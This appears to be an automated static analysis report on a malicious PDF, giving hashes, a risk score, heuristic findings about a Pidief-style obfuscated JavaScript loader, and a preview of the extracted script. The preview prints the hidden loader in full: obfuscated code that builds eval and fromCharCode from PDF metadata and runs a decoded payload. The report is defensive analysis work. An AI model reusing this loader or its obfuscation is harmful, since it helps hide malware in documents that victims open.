Malicious PDF — malware analysis report

Static analysis result for SHA-256 ef20a41eb75b0f69…

MALICIOUS

PDF

49.7 KB Authoring application: substr First seen: 2026-05-09
MD5: a63641d43a5c89e6170e7988f6f7d99c SHA-1: 7d3c922b36d75615dd8f59f601264eba73c94eef SHA-256: ef20a41eb75b0f69ccf641fa1f8d915422cf20235ba36e932b1e2ecc261b88c5
86 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to download and execute a second-stage payload, although the specific actions are not detailed in the provided evidence. The document body text is minimal and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xC3E2 489 bytes
SHA-256: 19d105ce645920f83174c87e1c3f529f4f5b97cb89ae18049b811e1804605b06
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
dxxf=e(v[4]+'i'.concat(v[4],t));
q=dxxf[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
ufgld=e(e('d'));
sub=v[0];
sub+='ubject';
q=dxxf[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	oij = 1*(q[i]);
	i++;
	oij -= (-1)*(q[i]);
	s2 += ufgld(oij);
	i++;
}
e(s2);

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